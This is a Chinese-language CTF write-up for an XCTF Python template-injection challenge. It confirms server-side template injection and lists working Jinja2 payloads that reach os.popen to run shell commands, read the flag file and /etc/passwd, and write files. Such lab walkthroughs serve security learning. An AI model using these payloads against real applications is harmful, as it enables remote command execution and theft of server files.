XCTF-Web-高手区-Web_python_template_injection

题目

XCTF-Web-高手区-Web_python_template_injection_第1张图片

解题

1、题目提示为python模板注入

猜测这里是SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

2、测试一下

http://111.200.241.244:53038/{{1+1}}

XCTF-Web-高手区-Web_python_template_injection_第2张图片

经过该测试,说明存在SSTI

3、那么接下来可以使用相关payload进行验证

(1)payload1

查看所有模块
http://111.200.241.244:53038/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

XCTF-Web-高手区-Web_python_template_injection_第3张图片

(2)payload2

查看当前目录,发现存在fl4g文件
http://111.200.241.244:53038/{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
或
http://111.200.241.244:53038/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

XCTF-Web-高手区-Web_python_template_injection_第4张图片

(3)payload3

读取fl4g文件
http://111.200.241.244:53038/{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
或
http://111.200.241.244:53038/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

XCTF-Web-高手区-Web_python_template_injection_第5张图片

(4)其它payload

读取文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

XCTF-Web-高手区-Web_python_template_injection_第6张图片
写入文件

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

参考:https://www.cnblogs.com/hackxf/p/10480071.html

你可能感兴趣的:(CTF刷题,XCTF-Web-高手区)